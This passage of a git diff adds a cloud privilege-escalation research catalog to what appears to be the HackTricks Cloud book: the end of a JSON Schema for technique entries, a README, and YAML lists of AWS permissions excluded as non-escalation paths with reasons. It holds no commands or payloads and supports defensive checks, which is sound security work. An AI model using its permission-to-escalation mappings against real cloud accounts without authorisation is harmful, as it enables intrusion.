"^[A-Za-z0-9][A-Za-z0-9._/-]*(=[A-Za-z0-9._-]*)?$", + "type": "string" + }, + { + "items": { + "pattern": "^[A-Za-z0-9][A-Za-z0-9._/-]*(=[A-Za-z0-9._-]*)?$", + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "k8s_remote_cluster targets: Secrets whose labels match one 'key=value' (or 'key') selector; true = known markers (argocd.argoproj.io/secret-type=cluster, cluster.x-k8s.io/cluster-name with a *-kubeconfig name)." + }, + "k8s_verified_pivot": { + "description": "Unique fresh reviewed evidence binds the exact source action and object to one accepted remote principal or newly granted Kubernetes permission.", + "type": "string" + }, + "k8s_websocket_exec_get_usable": { + "const": true, + "description": "The collected Kubernetes server version is older than 1.35, when WebSocket exec could use get alone; 1.35+ requires create by default and stays unresolved if the feature gate state is not collected." + }, + "kube2iam_namespace_permits_role": { + "description": "Namespace (usually {pivot.namespace}) annotation iam.amazonaws.com/permitted (kube2iam/kiam) allows the target role (annotation facts needed).", + "minLength": 1, + "type": "string" + }, + "openshift_namespace_has_sa_with_host_scc": { + "description": "The OpenShift namespace (usually {pivot.namespace}) contains an SA allowed to use a host-level SCC (privileged / host PID / network / IPC / hostPath): from collected securitycontextconstraints users[] / groups[] and RBAC 'use' grants on security.openshift.io securitycontextconstraints. Unresolved when the SCC inventory or api_discovery is missing.", + "minLength": 1, + "type": "string" + }, + "openshift_namespace_without_scc": { + "const": true, + "description": "A fixed OpenShift default project or a collected existing namespace with openshift.io/run-level; missing namespace labels remain unresolved." + }, + "openshift_source_host_scc_path": { + "const": true, + "description": "The source can use a collected privileged or host-filesystem SCC in the same namespace where it creates a Pod, through namespace-scoped RBAC or SCC users/groups." + }, + "openshift_unlabeled_existing_namespace": { + "const": true, + "description": "The pivot namespace exists and does not yet have openshift.io/run-level; the source must also hold namespace patch/update and workload creation on that exact namespace." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + }, + "trust_allows_k8s_sa_oidc_subject": { + "const": true, + "description": "IAM role trust allows the cluster OIDC subject of the SA (cloud facts needed)." + }, + "trust_allows_oidc_subject_wildcard": { + "description": "IAM role trust matches the given OIDC subject pattern (e.g. system:serviceaccount:{pivot.namespace}:*) on the cluster OIDC provider (cloud facts needed).", + "type": "string" + } + }, + "type": "object" + } + } + } + } + }, + "technique": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "provider": { + "const": "aws" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/aws_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "gcp" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/gcp_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "azure" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/azure_technique" + } + }, + { + "if": { + "properties": { + "provider": { + "const": "k8s" + } + }, + "required": [ + "provider" + ] + }, + "then": { + "$ref": "#/$defs/k8s_technique" + } + } + ], + "properties": { + "blockers": { + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "properties": { + "description": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "conditions": { + "description": "Documented caveats (not machine-checked; never change confidence).", + "items": { + "anyOf": [ + { + "type": "string" + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "confidence": { + "enum": [ + "derived", + "conditional", + "unknown" + ] + }, + "id": { + "description": "Globally unique, kebab-case, provider-prefixed.", + "pattern": "^(aws|gcp|azure|k8s|entra)-[a-z0-9]+(?:-[a-z0-9]+)*$", + "type": "string" + }, + "mitigation": { + "pattern": "\\S", + "type": "string" + }, + "notes": { + "type": "string" + }, + "pivot_resource_type": { + "type": "string" + }, + "preconditions": { + "description": "Machine-checked preconditions (registry ids).", + "type": "array" + }, + "provider": { + "enum": [ + "aws", + "gcp", + "azure", + "k8s" + ] + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "requires": { + "type": "object" + }, + "service": { + "pattern": "\\S", + "type": "string" + }, + "severity": { + "enum": [ + "critical", + "high", + "medium", + "low", + "info" + ] + }, + "source": { + "description": "hacktricks-cloud page path (#anchor allowed).", + "pattern": "^src/", + "type": "string" + }, + "source_kind": {}, + "source_revision": { + "type": "string" + }, + "source_selector": { + "type": "object" + }, + "summary": { + "pattern": "\\S", + "type": "string" + }, + "target": { + "additionalProperties": false, + "properties": { + "aggregate_as": { + "type": "string" + }, + "grants": { + "description": "Permission / role names the outcome yields (documentation).", + "items": { + "pattern": "\\S", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "include_service_managed": { + "type": "boolean" + }, + "kind": { + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + }, + "outcome": { + "description": "application_admin: Becomes administrator of a managed service's own application plane (not an IAM principal).; blocker_removal: Lifts an enforcement control (target.removes_blockers) that gates other techniques; reaches no principal.; bounded_authority: Evidence-bound effect on the exact non-principal target, defined only by the rule and verified facts; implies no IAM scope control, application administration, principal access, or further permissions.; credentials: Obtains credentials / tokens / a session of the target principal (keys, passwords, tokens, AssumeRole).; identity: Becomes the target principal (mechanism unspecified).; impersonation: Acts as the target through a delegation/impersonation API without holding its credentials.; membership: Becomes a member of the target group and inherits its grants.; permission_grant: The source's own permissions grow (policy/role edit or assignment); target is self or an entity.; role_activation: Activates/assigns a privileged role or permission set (PIM, Identity Center, Entra directory role).; scope_control: Gains IAM control of a scope (set IAM policy / role assignments) -> every principal of the scope.; workload_execution: Runs code inside a workload that carries the target identity (passed role, attached SA/MI).", + "enum": [ + "application_admin", + "blocker_removal", + "bounded_authority", + "credentials", + "identity", + "impersonation", + "membership", + "permission_grant", + "role_activation", + "scope_control", + "workload_execution" + ] + }, + "removes_blockers": { + "description": "k8s_admission_control: blocker ids the technique lifts.", + "items": { + "enum": [ + "abac_condition", + "access_package_approval_by_other_principal", + "admission_policy", + "admission_webhook", + "aks_entra_integration_enabled", + "aks_local_accounts_disabled", + "aks_local_accounts_enabled", + "aks_run_command_disabled", + "azure_deny_assignment", + "deny_policy", + "ecr_tag_immutability", + "explicit_deny", + "gatekeeper_constraint", + "gcp_deny_policy", + "glue_nonoverridable_arguments", + "intune_multi_admin_approval_required", + "kyverno_policy", + "lambda_code_signing_enforced", + "org_policy_constraint", + "permission_boundary", + "pim_approval_required_by_other_principal", + "pivot_namespace_psa_enforce_baseline_or_restricted", + "pod_security_admission", + "restricted_management_au", + "role_assignable_group_member_or_owner", + "role_assignment_condition_is_allowlist", + "scm_and_ftp_basic_auth_disabled", + "scp_deny", + "scp_or_boundary_deny", + "service_principal_conditional_access_block", + "sp_lock_configuration_credentials", + "target_upn_on_initial_onmicrosoft_domain", + "vpc_sc_perimeter" + ] + }, + "minItems": 1, + "type": "array" + }, + "scope": { + "enum": [ + "same_account", + "same_project", + "inherited_scope", + "same_namespace", + "cluster", + "tenant", + "org", + "any" + ] + }, + "selector": { + "type": "object" + } + }, + "required": [ + "kind" + ], + "type": "object" + }, + "title": { + "pattern": "\\S", + "type": "string" + } + }, + "required": [ + "id", + "provider", + "service", + "title", + "source", + "summary", + "requires", + "target", + "severity", + "mitigation" + ], + "type": "object" + } + }, + "$id": "https://cloud.hacktricks.wiki/schemas/privesc-technique.schema.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "anyOf": [ + { + "items": { + "$ref": "#/$defs/technique" + }, + "type": "array" + }, + { + "items": { + "$ref": "#/$defs/excluded" + }, + "type": "array" + }, + { + "type": "null" + } + ], + "description": "A catalog YAML file is a list of techniques (or, for _excluded*.yaml, a list of {source, reason}). Generated from peaso/privesc/schema.py; cross-field rules are enforced by validate_entry.", + "title": "Cloud privilege-escalation technique catalog file" +} diff --git a/src/privilege-escalation-paths-research/README.md b/src/privilege-escalation-paths-research/README.md new file mode 100644 index 0000000000..c9b57201f8 --- /dev/null +++ b/src/privilege-escalation-paths-research/README.md @@ -0,0 +1,42 @@ +# Privilege escalation research paths + +{{#include ../banners/hacktricks-training.md}} + +This directory preserves the broader research inventory while the reviewed catalog in [`../privilege-escalation-paths`](../privilege-escalation-paths/README.md) supplies automatic [Blue-CloudPEASS](https://github.com/peass-ng/Blue-CloudPEASS) checks. Research entries may describe possible routes that still need a proven target, usable credential, or exact condition before they can be reported as a definite privilege escalation path. They are not loaded as automatic findings. + +Each entry records the permissions and conditions worth investigating. When a route can be assessed with reliable evidence, review it against the current catalog and add a tested definition there. Keep this research inventory so routes omitted from automatic checks remain visible for future work. + +Entries describe preconditions, the reachable targets and the mitigation only. They contain no commands, payloads or execution steps; the linked HackTricks page explains the technique. + +## Layout + +There is one directory per platform (`aws`, `gcp`, `azure`, `k8s`) and one `.yaml` file per service, each holding a YAML list of techniques. Files named `_excluded*.yaml` list reviewed HackTricks techniques that intentionally have no entry, such as post-exploitation, persistence or techniques that cannot be modelled from configuration, with the reason. `privesc-technique.schema.json` is the exported JSON Schema for editor completion and validation. + +## Technique fields + +- `id`: globally unique, lowercase and kebab-case, prefixed with the platform. +- `provider`, `service`, `title` and `summary`: one sentence describing what the source gains. +- `source`: the HackTricks page and anchor documenting the technique, relative to this book. `source_revision` is the book commit that was read. +- `requires`: the permissions the source must hold. `all_of` lists every required item, and `any_of` lists alternatives. AWS and GCP items use `action` and `resource`, Azure items use `action` (or `data_action`) and `scope`, Entra ID items use `entra_permission` or `entra_role`, and Kubernetes items use `verb`, `resource`, `subresource`, `api_group` and `namespace`. Placeholders such as `{target.arn}` bind a requirement to the target. +- `target`: the target `kind`, a `selector` whose conditions must all hold for a principal to be reachable, and its `scope`. +- `conditions` and `blockers`: what may prevent the path in practice, such as condition keys, SCPs, boundaries or admission policies. +- `confidence`, `severity`, `mitigation`, `references` and optional `notes`. + +Unknown fields, target kinds, selector keys and placeholders are rejected rather than ignored, so an entry can never silently widen or narrow its target set. Add support for a new selector in the consumer evaluator first. + +### Schema v2 joins + +The v2 loader adds two placeholders and one AWS selector, and allows the existing K8s running-pod selector on GCP targets. These fields require an exact join to collected inventory; missing inventory yields unknown coverage, not a reachable path. + +| Field | Use and required shape | +| --- | --- | +| `{source.assumable_role_attached_policy_arn}` and `target.selector.via_assumable_role_attached_policy_covered_by: iam:CreatePolicyVersion` | Use together on an AWS `aws_account_admin` target. Every requirement alternative must include `iam:CreatePolicyVersion` on that placeholder. The policy must be attached to a role the source can assume in the same account; the evaluator checks policy version capacity and recomputes the role's effective permissions. `SetDefaultPolicyVersion` is not covered. | +| `target.selector.k8s_sa_used_by_running_pod: true` | On a GCP `k8s_service_account` target with `scope: cluster`, selects KSAs used by running pods with an available token in the matched GKE cluster. Do not combine it with `k8s_sa_in_cluster` or `k8s_sa_has_token_secret`. Existing K8s use is unchanged. | +| `{source_rolebound_clusterrole}` | Use as `resource_name` on K8s `clusterroles` requirements with `api_group: rbac.authorization.k8s.io` and `namespace: "*"`. Each alternative needs `escalate` and `update` or `patch` on the same name. The target must be a `k8s_service_account` with `scope: same_namespace` and `selector.k8s_sa_in_namespace: "{target.namespace}"`; a RoleBinding must bind the source in that namespace. | + +## Validation and synchronization + +Run `python scripts/validate_privesc_paths.py --book-root . --catalog-path src/privilege-escalation-paths-research` with PyYAML installed before submitting changes. It checks the directory layout, every entry with the strict loader (`scripts/privesc_paths_schema.py`), unique ids, source pages and heading anchors, and that the JSON Schema is current. The book's pull-request workflow validates this directory and the reviewed catalog separately. + +Blue-CloudPEASS synchronizes the reviewed catalog in `src/privilege-escalation-paths`. Changes here require a separate review before they affect automatic results. +{{#include ../banners/hacktricks-training.md}} diff --git a/src/privilege-escalation-paths-research/aws/_excluded_171e_g1.yaml b/src/privilege-escalation-paths-research/aws/_excluded_171e_g1.yaml new file mode 100644 index 0000000000..4034db2a16 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_171e_g1.yaml @@ -0,0 +1,33 @@ +# AWS G1 review at 171e422299 (identity/org/billing pages): headings intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason, source_revision}. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#no-direct-iam-role-escalation-primitive + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#no-direct-iam-role-escalation-primitive + technique: "Invoicing and Billing has no role-escalation primitive" + reason: "Not a privesc: the page states the Invoicing and Billing APIs take no execution role, need no iam:PassRole and return no AWS credentials; their effects are financial-data disclosure and billing changes." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#turn-cost-view-administration-into-cross-account-disclosure + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#turn-cost-view-administration-into-cross-account-disclosure + technique: "Share a custom Billing view through AWS RAM" + reason: "Not a privesc: cross-account disclosure of cost-and-usage data; the recipient gains no role or IAM authority and must accept a RAM invitation." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#enable-previously-granted-legacy-billing-permissions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#enable-previously-granted-legacy-billing-permissions + technique: "billing:UpdateIAMAccessPreference" + reason: "Not a privesc: activates Billing permissions that identities already hold in IAM (invoice, credit, payment and preference access); it grants no new policy and no IAM or role authority." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#abuse-invoice-receiver-delegation + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#abuse-invoice-receiver-delegation + technique: "invoicing:CreateInvoiceUnit receiver delegation" + reason: "Not a privesc: lets an eligible member account download the unit's invoice documents; it grants no access to other AWS APIs or payer-account resources." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#the-billing-service-linked-role-is-not-a-general-escalation-target + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#the-billing-service-linked-role-is-not-a-general-escalation-target + technique: "AWSServiceRoleForBilling" + reason: "Not a privesc: the service-linked role only allows billing:GetBillingViewData, is trusted only by billing.amazonaws.com and cannot be edited or attached to other identities." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#related-actions-that-amplify-business-impact-not-iam-authority + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#related-actions-that-amplify-business-impact-not-iam-authority + technique: "billing:PutResourcePolicy, billing:UseSourceView, invoicing:GetInvoicePDF, invoicing:GetProcurementPortalPreference, billing:UpdateBillingPreferences" + reason: "Not a privesc: the page lists these as financial or governance impact (billing-view sharing, invoice URLs, a procurement-integration secret, credit allocation), not IAM authority." + source_revision: fd7d56b0a9 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_171e_g7.yaml b/src/privilege-escalation-paths-research/aws/_excluded_171e_g7.yaml new file mode 100644 index 0000000000..6a98a59da5 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_171e_g7.yaml @@ -0,0 +1,87 @@ +# G7 heading-level exclusions verified against hacktricks-cloud 171e422299. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#invoke-a-privileged-flow-without-direct-lambda-or-lex-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#invoke-a-privileged-flow-without-direct-lambda-or-lex-permission + technique: connect:StartChatContact against a privileged contact flow + reason: "App-plane only: the flow invokes its Lambda/Lex integrations under their own roles and returns only what the flow logic exposes; the page states it does not grant arbitrary use of the Lambda role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#createintegrationworkflow--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#createintegrationworkflow--iampassrole + technique: profile:CreateIntegrationWorkflow + iam:PassRole + reason: "Not a privesc: bounded service delegation; Customer Profiles uses the passed role only to create AppFlow-backed integration resources, with no credentials or arbitrary actions under the role." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#createsegmentsnapshot--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#createsegmentsnapshot--iampassrole + technique: profile:CreateSegmentSnapshot + iam:PassRole + reason: "Not a privesc: bounded data delivery; the passed role only writes the segment export to the chosen S3 destination (data exfiltration, not principal escalation)." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-customer-profiles-post-exploitation/README.md#associatestreamforsegments--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-customer-profiles-privesc/README.md#associatestreamforsegments--iampassrole + technique: profile:AssociateStreamForSegments + iam:PassRole + reason: "Not a privesc: bounded data delivery; the passed role only puts segment-membership records into the chosen Kinesis stream." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-twinmaker-post-exploitation/README.md#connector-invocation-without-direct-lambda-permission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-twinmaker-privesc/README.md#connector-invocation-without-direct-lambda-permission + technique: iottwinmaker:CreateComponentType + CreateEntity / GetPropertyValue + reason: "App-plane only: TwinMaker invokes the nominated Lambda connector, which runs with its own execution role and exposes only what its code returns; the page states no generic role credentials are obtained." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-twinmaker-post-exploitation/README.md#updateworkspace--iampassrole--connector-control + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-twinmaker-privesc/README.md#updateworkspace--iampassrole--connector-control + technique: iottwinmaker:UpdateWorkspace + iam:PassRole + reason: "Not a privesc: bounded service delegation; the workspace role is used only for connector invocation and supported data sources, and the page states changing it does not expose its credentials." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivscreatestreamkey-on-stream-key---publish-to-another-channel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivscreatestreamkey-on-stream-key---publish-to-another-channel + technique: ivs:CreateStreamKey + reason: "App-plane only: a stream key is a media-plane publishing credential for a channel, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsgetstreamkey-or-ivsgetingestconfiguration---convert-a-read-into-publishing-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsgetstreamkey-or-ivsgetingestconfiguration---convert-a-read-into-publishing-access + technique: ivs:GetStreamKey / ivs:GetIngestConfiguration + reason: "App-plane only: disclosure of a media-plane publishing credential, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivscreateparticipanttoken---mint-stage-publishsubscribe-access + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivscreateparticipanttoken---mint-stage-publishsubscribe-access + technique: ivs:CreateParticipantToken + reason: "App-plane only: stage participant tokens grant media publish/subscribe, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsimportpublickey---sign-tokens-for-stages-account-wide + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsimportpublickey---sign-tokens-for-stages-account-wide + technique: ivs:ImportPublicKey + reason: "App-plane only: lets the caller sign stage participant tokens offline; media-plane access, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsimportplaybackkeypair---bypass-private-channel-playback-decisions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsimportplaybackkeypair---bypass-private-channel-playback-decisions + technique: ivs:ImportPlaybackKeyPair + reason: "App-plane only: private-channel playback authorization tokens, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#ivsstartcomposition---send-a-stage-to-an-unauthorized-channel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ivs-privesc/README.md#ivsstartcomposition---send-a-stage-to-an-unauthorized-channel + technique: ivs:StartComposition + reason: "App-plane only: routes stage media to a channel; content injection, not an AWS principal." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#lexcreatebotlexupdatebot--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lex-v2-privesc/README.md#lexcreatebotlexupdatebot--iampassrole + technique: lex:CreateBot / lex:UpdateBot + iam:PassRole + reason: "Not a privesc: bounded service delegation; the bot role is used by Lex only for configured features (Lambda hooks, Kendra queries, logs), and the page states passing it does not return credentials." + source_revision: fd7d56b0a9 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#existing-hook-as-a-confused-business-authority-boundary + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lex-v2-privesc/README.md#existing-hook-as-a-confused-business-authority-boundary + technique: lex:RecognizeText / PutSession / StartConversation on a bot alias + reason: "App-plane only: reaches the business logic of an existing fulfillment Lambda, which keeps its own execution role; the page states it does not grant generic control of that role." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#invite-an-attacker-account-into-a-hyperledger-fabric-network + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-blockchain-privesc/README.md#invite-an-attacker-account-into-a-hyperledger-fabric-network + technique: managedblockchain:CreateProposal + VoteOnProposal + reason: "App-plane only: yields an attacker-owned Fabric consortium member, not an AWS principal in either account (the page states it is not elevation to AWS administrator)." + source_revision: f2aa915198 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-grafana-post-exploitation/README.md#grafanaupdateworkspace--iampassrole + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdateworkspace--iampassrole + historical_source_revision: 171e422299 + technique: grafana:UpdateWorkspace + iam:PassRole + reason: "Not a privesc: bounded service delegation; the workspace role only mediates Grafana data-source and notification queries, and the page states it does not return IAM credentials." + source_revision: 3ad99dc7ac +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-wickr-privesc/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + technique: wickr:CreateDataRetentionBotChallenge + reason: "App-plane only: the challenge authenticates a data-retention bot that receives message copies; messaging data access, not an AWS principal or an application administrator." + source_revision: f2aa915198 diff --git a/src/privilege-escalation-paths-research/aws/_excluded_a.yaml b/src/privilege-escalation-paths-research/aws/_excluded_a.yaml new file mode 100644 index 0000000000..c2e454b248 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_a.yaml @@ -0,0 +1,335 @@ +# AWS part A: HackTricks privesc sections intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason}. Revision a53b46392c. + +# --- IAM --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateaccesskey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateaccesskey + source_revision: 3ad99dc7ac + technique: iam:UpdateAccessKey + reason: Only re-activates an existing key; using it requires already knowing the target's secret access key, so the permission alone does not yield a new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamresyncmfadevice + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamresyncmfadevice + source_revision: 3ad99dc7ac + technique: iam:ResyncMFADevice + reason: Requires possession of the target's MFA device and password; no new identity from the permission alone. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateopenidconnectproviderthumbprint-iamlistopenidconnectproviders-iamgetopenidconnectprovider + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateopenidconnectproviderthumbprint-iamlistopenidconnectproviders-iamgetopenidconnectprovider + source_revision: 3ad99dc7ac + technique: iam:UpdateOpenIDConnectProviderThumbprint + reason: AWS validates tokens of most major IdPs against its own trusted CA library and ignores thumbprints; exploitation also requires man-in-the-middle of the IdP JWKS endpoint. Not reliably derivable from a snapshot. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iampassrole--a-compute-service + technique: iam:PassRole + a compute service (generic) + reason: Generic overview; each service-specific PassRole technique is modelled per service with the correct trusted service principal. + +# --- STS / federation --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithsaml + technique: sts:AssumeRoleWithSAML + reason: Requires a valid SAML assertion from the trusted IdP (possession of IdP credentials); no IAM permission grants it. Provider takeover is modelled as aws-iam-updatesamlprovider. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithwebidentity + technique: sts:AssumeRoleWithWebIdentity + reason: Requires a token from the trusted OIDC IdP (external identity possession); trust-policy misconfigurations on OIDC providers are an Exposure finding, not a principal-to-principal edge. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsgetfederationtoken + technique: sts:GetFederationToken + reason: Federation tokens are the intersection of the caller's own permissions and the session policy; never more privileged than the source. Persistence only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#federation-abuse + technique: Federation abuse (generic) + reason: Overview pointing to federation pages; requires external IdP control. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#iam-roles-anywhere-privesc + technique: IAM Roles Anywhere misconfigured trust policy + reason: Requires possession of a certificate issued by a trusted CA (external credential); the overly broad trust is an Exposure finding. CA replacement is modelled as aws-rolesanywhere-updatetrustanchor. + +# --- SSO --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssogetrolecredentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssogetrolecredentials + technique: sso:GetRoleCredentials + reason: Requires an Identity Center access token of a user already assigned the permission set; no new identity beyond what the user already has. + +# --- Cognito --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#gathering-credentials-from-identity-pool + technique: Unauthenticated identity-pool credentials + reason: Anonymous access to identity-pool roles is an Exposure finding (public), not a permission-based edge from a source principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminenableuser + technique: cognito-idp:AdminEnableUser + reason: Requires already knowing the disabled user's credentials. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmininitiateauth-cognito-idpadminrespondtoauthchallenge + technique: cognito-idp:AdminInitiateAuth + AdminRespondToAuthChallenge + reason: Requires the user's password/secret (or a custom-auth flow weakness specific to the app); not derivable from permissions alone. +- source: 